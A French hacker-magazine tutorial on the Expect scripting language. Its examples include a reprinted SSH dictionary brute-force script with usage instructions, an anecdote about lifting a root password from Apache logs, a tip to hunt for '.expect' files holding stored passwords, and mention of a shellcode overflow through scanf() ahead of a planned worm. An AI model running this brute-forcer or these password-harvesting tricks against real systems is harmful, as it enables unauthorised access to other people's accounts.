Programmation avec Expect
On se rapproche de notre objectif
Expect c'est quoi d'abord ?
Expect est avant tout un langage de script basé sur Tcl (que vous avez
normalement étudié précédemment). Expect est principalement
utilisé pour contrôler et automatiser l'utilisation de programmes
intéractifs.
Par intéractif je désigne tous les programmes qui vont demander,
en cours d'exécution, que l'utilisateur tappe au clavier telles ou
telles touches, entre telles ou telles commandes.
En suivant le contenu d'un script, Expect va être capable de savoir
ce que lui demande un programme et ce qu'il doit lui envoyer en réponse.
Bref le langage Expext permet à la machine de dialoguer avec un programme
comme le ferait une personne au clavier. Expect se charge de lire ce que le
programme envoie à l'écran, et envoie une réponse comme
venant du clavier. Expect redirige les entrées/sorties en quelque sorte.
Nous allons étudier un exemple dans quelques lignes qui devrait éclaircir
les quelques questions qui vous viennent à l'esprit.
Pourquoi Expect ?
J'ai découvert ce langage tout à fait au hazard. En fait OS4M4CKERS
avait accès à une bécane sur laquelle un système
de gestion des comptes Unix tournait. Là rien d'anormal. Ce qui était
bizarre était que ce système était sous la forme d'une
interface web.
Sur le site en question on trouvait un formulaire qui permettait aux utilisateurs
de modifier le pass de leur compte et aussi un formulaire admin pour modifier
les pass des utilisateurs. Les formulaires en question appelait des scripts
en perl pour traiter les infos.
Comme on avait les droits sur les CGI ça n'a pas été
difficile de voir comment ce système fonctionnait. Le script CGI faisait
à la commande suivante :
'/usr/bin/expect update.expect
$user $pasuser1 $pasmanag'
Aussitôt on regarde ce qui se trouve dans
ce fichier :
#!/usr/bin/expect
puts "Content-type: text/html"
set usernd [lindex $argv 0]
set pasus1 [lindex $argv 1]
set pasman [lindex $argv 2]
spawn -noecho /bin/su root -c "/usr/bin/passwd
$usernd > /dev/null"
expect "Password:"
send "$pasman\r"
expect "New password:"
send "$pasus1\r"
expect "Re-enter new password:"
send "$pasus1\r"
expect eof
Les premières commandes sont du Tcl. Le
script récupère le login de l'utilisateur, son pass et aussi
le pass du root qui sont passés en arguments. Le tout est stocké
dans différentes variables.
Ensuite le script "spawn" la commande
su. spawn permet de lancer un programme externe et en même temps redirige
les entrées sorties sur notre script.
Dans notre cas on remarque que la commande su est appelée de façon
à devenir root et à exécuter une seule commande : la
commande passwd qui permettra de changer le pass de l'utilisateur choisi.
Le script s'attend ensuite à ce que la commande su lui envoie la chaîne
de caractères "Password:" qui
demande la pass du root (commende expect).
Ce mot de passe est envoyé par la commande send.
Comme prévu la commande passwd est alors lancée. Le script attend
la chaîne "New password:". Quand
il l'a, il envoie le nouveau mot de passe une première fois.
passwd répond par "Re-enter new password:".
Le script renvoie donc le pass une nouvelle fois et attend que le programme
passwd s'arrête.
Vous avez compris ? Le script expect a dialogué à un programme
et ce sans notre intervention :)
Pour la petite histoire il nous a suffit de regarder dans les logs Apache pour trouver le pass du root (le script était appelé sous la forme fichier.cgi?pasman=****)
Des exemples !! On veut des exemples !!
Après quelques recherches sur Expect j'ai trouvé quelques applications
et comme j'avais toujours eu envie de faire un ver je me suis dit que je le
ferais pour le mag et en Expect.
Un des classiques en ce qui concerne l'utilisation d'Expect est l'appel à
la commande 'su' comme vu précédemment. C'est chiant de toujours
avoir à tapper le mot de passe quand on passe en root pour installer
un soft etc. Avec un script de quelques lignes on peut automatiser cette tache
:
#!/usr/bin/expect
spawn su
expect "assword:"
send "mon_pass\n"
interact
Première question : pourquoi j'ai mis
'assword:' et pas 'Password:' ? Parce
que cela permet une meilleure compatibilité entre les différentes
plates formes. Par exemple sous un système le mot password prendra
un P majuscule et sous un autre système une minuscule etc.
Pour la commande send, il faut aussi mettre un \n pour simuler l'appui sur
la touche entrée.
Pour terminer le interact permet de redonner la main à l'utilisateur.
Comme cela, la prochaine fois que vous voulez devenir root il vous suffit
d'appeler le script expect et la commande su s'exécute comme par magie
:)
Le danger d'une telle pratique est simple à voir : il ne faut pas que
quelqu'un d'autre que vous puisse lire ce script qui contient le pass du root.
Les scripts expect n'ont pas d'extension bien définies mais l'extension
'.expect' revient couremment donc rechercher de tels fichers peut être
une possibilité d'attaque ;)
Attention !! Ne mélangez pas le langage Expect avec la commande expect qui fait partie du langage. Je ne fais pas de distinctions quand je l'écrit mais je pense que placé dans un contexte précis vous saurez si je parle du langage ou de la commande.
Etudions maitenant un brute-force ssh que j'ai
trouvé sur hack.co.za :
#!/usr/bin/expect -f
# by John Lampe
# dorky way to brute force ssh passwd
# from command prompt do a
# for i in `cat PASSWD_FILE`; do ./ssh_brute.expect $i IPADDRESS >>
ssh_rezults; done
# where PASSWD_FILE is your dictionary file and IPADDRESS is (duh) the IP
address
# then run
# grep "SNAGGED" ssh_rezults
set timeout 5 ; #On fine le timeout à
5 secondes
set passwd [lindex $argv 0]; #Le password
est le premier argument
set host [lindex $argv 1] ;#IP du serveur
est le second argument
spawn ssh $host ; #On lance ssh
expect "password:"
send -- "$passwd\n";#
Les deux tirets à la suite permettent de signaler le fin des arguments
(pas nécessaire ici)
expect {;#expect peut fonctionner sous la forme
d'un switch
"assword" { exit 0 } ;#On
a visiblement récupéré un 'Password invalid' ou 'Invalid
password' etc.
"enied" { exit 0 }; #Access
Denied
"#" { send_user "SNAGGED
$passwd\n" };#Cool un shell !! On envoie le pass
sur la sortie standard (pas sur l'entrée de ssh)
timeout { exit 254 } ;# Si 5 secondes se sont
écoulées sans aucune réponse c'est qu'il y a un problème
==> on quitte
eof { exit 253 };#La connexion a été
fermée par le serveur
}
exit 0; #On quitte
Sympa ce script non ? Toutefois je ne vous conseille
pas de l'utiliser car il ne fait qu'appeler le programme ssh. Si vous voulez
vraiment bruteforcer un ssh prenez un prog en C qui sera bien plus rapide.
Un autre classique des scripts expect c'est la connexion à un ftp.
Imaginons que vous êtes l'admin du société détesté
par les hackers (style Microsoft, Verysign...) Vous avez des tentatives d'intrusion
toutes les deux minutes. Vous vous retenez de pisser tellement vous avez peur
que le temps d'aller au toilettes votre pauvre serveur soit défacé.
Cher Monsieur, j'ai la solution à tous vos problèmes !! Avec
le script Expect suivant vous ne serez même plus obligé d'aller
au bureau et de vivre dans la paranoïa.
spawn /bin/ftp $HOST
set timeout -1;#Timeout infini.
Par défaut le timeout est de 10 secondes
expect "ame" {send "$USER\n"}
expect "assword:" {send
"$PASSWORD\n"}
expect {
"incorrect" {puts
"Bad Password\n";exit}
"ftp>" {send
"cd public_html\n"}
}
expect "ftp>" {send
"bin\n"}
expect "ftp>" {send
"put $FILE\n"}
expect "ftp>" {send
"quit\n"}
expect "Goodbye"
send_user "File sent.\n"
Evidemment les variables doivent être fixées auparavant. En mettant ce script dans les taches plannifiées pour que le script soit appelé toutes les 5 minutes, le fichier sur le serveur ne sera jamais corrompu longtemps :) En même temps our uploader la page d'index toutes les 5 minutes faut vraiment être parano !!
Ce script est loin d'être évolué.
On aurrait par exemple pu faire des expect sur les codes de réussite
ou d'échec du protocole FTP (530 = Login Incorect par exemple).
Si on faisait un peu de Telnet maintenant :
#!/usr/bin/expect -f
set timeout 5
log_user 0 ;# A ce que j'ai compris
ça empèche d'afficher à l'écran le dialogue du
script avec le telnet
gets stdin name;#L'utilisateur doit tapper le
login & le pass
gets stdin pw
spawn "/usr/bin/telnet"
"localhost"
expect {
-- "ogin: $" { send
-- "$name\r" }
timeout { send -- "\r\r"
}
eof { exit 253 }
}
expect {
"ssword: $" { send
-- "$pw\r" }
}
expect {
"ast login:" {
commandes à faire}
"(\\\$|%)" { commandes
à faire }
"ogin incorrect"
{ exit 1 }
timeout { exit 254 }
eof { exit 253 }
}
C'est un des plus beaux scripts expect que j'ai
trouvé pour telnet
C'est pas un brute force : c un script qui permet d'automatiser un travail
à faire sur une machine distante.
Un dernier point que je voulais aborder : les
buffers overflows. On trouve beaucoup d'exploits pour des applications distantes
(communication par socket) ou pour des applis locales.
Mais la plupart des failles exploités en local sont des overflows dans
des variables d'environnement, dans les paramêtres d'appel du programme
vulnérable...
Bref pas d'exploits pour les programmes interractifs pourtant les failles
existent !!!
Le langage Expect et ses outils permettent de telles exploitations. J'ai essayé
avec un programme qui fait un simple scanf() en plein milieu de son exécution.
En envoyant le shellcode & co au moment du scanf() j'ai réussi
à récupérer un shell :-)
J'espère que l'on verra des exploits en expect sous peu ;-p
Pour de plus amples infos sur expect : man expect.
Il y a très peu de doc sur Expect en dehors de la page de manuel. On
peut trouver pas mal de scripts sur le net mais ils se ressemblent tous :-(
Toutefois il existe UN forum Tcl/Expect en Anglais où les mecs ont
l'air assez calé : http://www.wellho.net/cgi-bin/opentalk/YaBB.pl?board=tcl.
Prochaine étape : la programmation de notre ver.